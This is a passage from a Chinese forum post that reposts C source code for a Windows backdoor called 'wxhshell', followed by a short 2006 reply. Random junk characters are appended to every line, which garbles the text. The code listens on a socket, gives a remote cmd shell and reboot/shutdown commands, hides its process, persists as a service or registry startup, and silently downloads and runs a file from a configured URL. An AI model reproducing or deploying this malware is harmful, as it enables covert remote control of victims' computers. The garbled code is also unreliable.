  else ">,K1:(D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ou!)1UFI  
  } VO|u8Z"  
  else { `D"1 gD}{A  
QX+Y(P`vMK  
    switch(cmd[0]) { 'A1E^rl]=  
  *vD/(&pQ1:  
  // 帮助 E6Q91Wz9f  
  case '?': { 0#]!#1utg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0STk)> 3$-  
    break; oVreP  
  } e sGlMq  
  // 安装 oFn4%S:  
  case 'i': { Crg#6k1~EN  
    if(Install()) ~=Fk/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8_Jj+  
    else #'KY`&Tw&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tz2x9b\82  
    break; > XZg@?Iw  
    } ^@Y9!G=  
  // 卸载 &gJW6 <  
  case 'r': { 6ku8`WyoF  
    if(Uninstall()) d}pGeU'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d4V 2[TX  
    else "d:.*2Z2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7s!AH yZ  
    break; ec#_olG%  
    } c%b\CP\)W  
  // 显示 wxhshell 所在路径 du8!3I  
  case 'p': { %Au T8  
    char svExeFile[MAX_PATH]; nE^wxtY  
    strcpy(svExeFile,"\n\r"); k=FcPF"  
      strcat(svExeFile,ExeFile); pBvo M={2!  
        send(wsh,svExeFile,strlen(svExeFile),0); W*3o|x   
    break; Ipg\9*c`  
    } ym[+Rw  
  // 重启 a0)vvo=bz  
  case 'b': { &!4( 0u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tRkrV]K  
    if(Boot(REBOOT)) zK,~37)\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ud.poh~|  
    else { ItMl4P`|  
    closesocket(wsh); 01-p `H+  
    ExitThread(0); Q.<giBh  
    } qPp]K?.  
    break; 2,+@# q  
    } rdFs?hO  
  // 关机 ]y$)%J^T  
  case 'd': { [;Vi~$p|Eo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (tTLK0V-|3  
    if(Boot(SHUTDOWN)) e1oFnu2R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )!BB/'DRQ  
    else { KqFmFcf|  
    closesocket(wsh); _AVy:~/  
    ExitThread(0); +V6j`  
    } uAChu]  
    break; =":@Foa  
    } ZjE~W>pkQ  
  // 获取shell qmQFHC_  
  case 's': { Lax9 "xI  
    CmdShell(wsh); 7eTA`@v5A  
    closesocket(wsh); ;.L!%$0i#  
    ExitThread(0); `Uu^I   
    break; G &m>Ov$#&  
  } pn+D@x#IA  
  // 退出  'Dnq+  
  case 'x': { 4 3}qaf[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -v;iMEZ)  
    CloseIt(wsh); //VG1@vaVX  
    break; #@IQlqJfY7  
    } n (9F:N  
  // 离开 Lqg7D\7j  
  case 'q': { w6%l8+{R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5/*)+  
    closesocket(wsh); %`bLmfm  
    WSACleanup(); A[K:/tB  
    exit(1); G1,Ro1  
    break; q=T<^Tk#e  
        }  GE{8I<7c  
  } ?SBh^/zf  
  } Kw)C{L5a  
w;@`Yi.WQ  
  // 提示信息 .0 rJIO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^XtHF|%0T  
} fN~8L}!l  
  } +SP! R[a  
Vx0MG{vG1  
  return; 7MR:X#2v>  
} :k Rv  
!$g(&  
// shell模块句柄 avF&F  
int CmdShell(SOCKET sock) f:)]FHPB1  
{ h;&&@5@lM  
STARTUPINFO si; 0;. e#(`-  
ZeroMemory(&si,sizeof(si)); e&r+w!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |j\eBCnH3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OFJJ-4[_3  
PROCESS_INFORMATION ProcessInfo; c }g$1of87  
char cmdline[]="cmd"; \mqhugy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rjq -ZrC%  
  return 0; F0DPS:c  
} DK2c]i^|=  
TiwHLb9  
// 自身启动模式 #MmmwPB_  
int StartFromService(void) pmE1EDPag  
{ {'cs![U  
typedef struct FZ;Y vdX6  
{ uOy\{5s8  
  DWORD ExitStatus; }s8*QfK>  
  DWORD PebBaseAddress; g;| n8]  
  DWORD AffinityMask; N9~'P-V  
  DWORD BasePriority; {FrHm  
  ULONG UniqueProcessId; D_L'x"  
  ULONG InheritedFromUniqueProcessId; B' <O)"1w  
}   PROCESS_BASIC_INFORMATION; c~Q`{2%+  
#l8K8GLuf  
PROCNTQSIP NtQueryInformationProcess; ;tZ}i4Ud  
C={sE*&dYX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q{N lF$X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B{=,VwaP_  
6'3Ey'drH  
  HANDLE             hProcess; 6EW"8RG`  
  PROCESS_BASIC_INFORMATION pbi; /jn:e"0~  
J-HabHv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R$~JhcX*l'  
  if(NULL == hInst ) return 0; oW` *FD  
#CBo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U^WQWa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !YuON6{)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .>cL/KaP  
2l;ge>D J  
  if (!NtQueryInformationProcess) return 0; LS?` {E   
>xk:pL*o`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u!156X?[eU  
  if(!hProcess) return 0; &AkzSgP  
iyHp$~,q?t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Av\ 0GqF  
HvL9;^!  
  CloseHandle(hProcess); *>R/(Q  
l-JKcsM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O>{t}6o  
if(hProcess==NULL) return 0; 8DmX4*  
I=Lj_UF4  
HMODULE hMod; ln_EL?V  
char procName[255]; YjMbd?v  
unsigned long cbNeeded; jw&}N6^G  
$ET/0v"V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <{P^W;N7  
Wl^/=I4p#  
  CloseHandle(hProcess); uvAy#,  
QyBK*uNdV  
if(strstr(procName,"services")) return 1; // 以服务启动 D(2kb  
lqwJ F &  
  return 0; // 注册表启动 b]s%B.h  
} e=NQY8?  
ui:>eYv  
// 主模块 }tg:DG  
int StartWxhshell(LPSTR lpCmdLine) Ix l"'Q_z  
{ ~vvQz"  
  SOCKET wsl; ?PH}b?f4  
BOOL val=TRUE; CMD`b  
  int port=0; x#!{5;V&K  
  struct sockaddr_in door; :D)&>{?  
1]zyME  
  if(wscfg.ws_autoins) Install(); %d~9at6-B  
gEe W1:AB  
port=atoi(lpCmdLine); ]f+D& qZ B  
:7AauoI  
if(port<=0) port=wscfg.ws_port; mqfEs0~I  
=iQ`F$M  
  WSADATA data; Y_TL4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "#"Fp&Z7  
% /wP2O<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0zk T8'v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c&iK+qvh{  
  door.sin_family = AF_INET; 4FP~+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AfbA.-  
  door.sin_port = htons(port); R2Fh^x  
clU3#8P!=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3C5D~9v  
closesocket(wsl); EIl$"^-  
return 1; >@92K]J  
} [n@!=T  
=<27qj  
  if(listen(wsl,2) == INVALID_SOCKET) { RHA>fXp  
closesocket(wsl); WSX@0A.&)  
return 1; I@3c QxI  
} mk3e^,[A  
  Wxhshell(wsl); J7aK3 he  
  WSACleanup(); ^_"q`71Dk  
K^1O =1gY  
return 0; d$C|hT  
B7QtB3bn  
} s9Q)6=mE  
%BP)m(S7  
// 以NT服务方式启动 ^zs4tCW%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `EW_pwZPA  
{ #j ~FA3O  
DWORD   status = 0; jH#^O ;A  
  DWORD   specificError = 0xfffffff; NX #/1=  
9G\3hL]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >[3,qP]E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 88L bO(q\d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OgpH{"  
  serviceStatus.dwWin32ExitCode     = 0; .}u(&  
  serviceStatus.dwServiceSpecificExitCode = 0; =D:R'0YH  
  serviceStatus.dwCheckPoint       = 0; 7&S|y]$~  
  serviceStatus.dwWaitHint       = 0; )-:f;#xJ  
e, 3(i!47  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *,=+R$  
  if (hServiceStatusHandle==0) return; q\Io6=39x  
d+| ! 6  
status = GetLastError(); @%B!$\]  
  if (status!=NO_ERROR) y5tAp  
{ FZI 4?YD?<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'f<_SKd  
    serviceStatus.dwCheckPoint       = 0; ,f""|X5  
    serviceStatus.dwWaitHint       = 0; [LEh  
    serviceStatus.dwWin32ExitCode     = status; Hbj:CViYq  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2*;Y%NcP[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hx;kEJ  
    return; ^cXL4*_=  
  } 0GR9C%"]  
<("w'd}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s 7cyo ]  
  serviceStatus.dwCheckPoint       = 0; wN0OAbtX'  
  serviceStatus.dwWaitHint       = 0; zNTu j p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B*?PB]  
} (+v*u]w4  
wuCtg=  
// 处理NT服务事件,比如:启动、停止 [";5s&)q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tcdn"]#U  
{ FwzA_ nn  
switch(fdwControl) x;]{ 8#-z  
{ |MR?8A^"  
case SERVICE_CONTROL_STOP: N5_.m(:  
  serviceStatus.dwWin32ExitCode = 0; 6&Ir0K/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q]'!FmXf  
  serviceStatus.dwCheckPoint   = 0; 3tcsj0Rb  
  serviceStatus.dwWaitHint     = 0; %YAiSSsV  
  { !>);}J!e]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :NyEd<'  
  } wef^o"aP  
  return; 4gNRln-  
case SERVICE_CONTROL_PAUSE: RL)3k8pk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d*(\'6?  
  break; \uPTk)oaB  
case SERVICE_CONTROL_CONTINUE: `*!>79_2C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I*R$*/)  
  break; Oydmq,sVe(  
case SERVICE_CONTROL_INTERROGATE: TmZ[?IL,  
  break; e[dRHl  
}; aM}"DY-_ h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vj$ 6  
} twS3J)UH  
6N)1/=)  
// 标准应用程序主函数 :P1c>:j[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9 (.9l\h  
{ C7_T]e<  
?7ZlX?D[  
// 获取操作系统版本 zQ+t@;g1  
OsIsNt=GetOsVer(); {xoo9jq-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y--8v#t  
kw}1CXD  
  // 从命令行安装 4^^rOi0  
  if(strpbrk(lpCmdLine,"iI")) Install(); jch8d(`?d  
ay|{!MkQ  
  // 下载执行文件 .4(f0RG  
if(wscfg.ws_downexe) { *03/ :q^(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v('d H"Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); W>nb9Isp  
} gD =5M\  
* v]UgPk  
if(!OsIsNt) { {f3fc8(p  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vgk,+l!4  
HideProc(); wKbymmG  
StartWxhshell(lpCmdLine); gI3rF=  
} OFbg]{ub?  
else 6|Q'\  
  if(StartFromService()) ]<LU NxBR  
  // 以服务方式启动 9D w&b  
  StartServiceCtrlDispatcher(DispatchTable); iCKwd9?)  
else >MrU^t  
  // 普通方式启动 v |2j~  
  StartWxhshell(lpCmdLine); R!qrb26k  
(W!$6+GT  
return 0; [0#hgGO]P  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八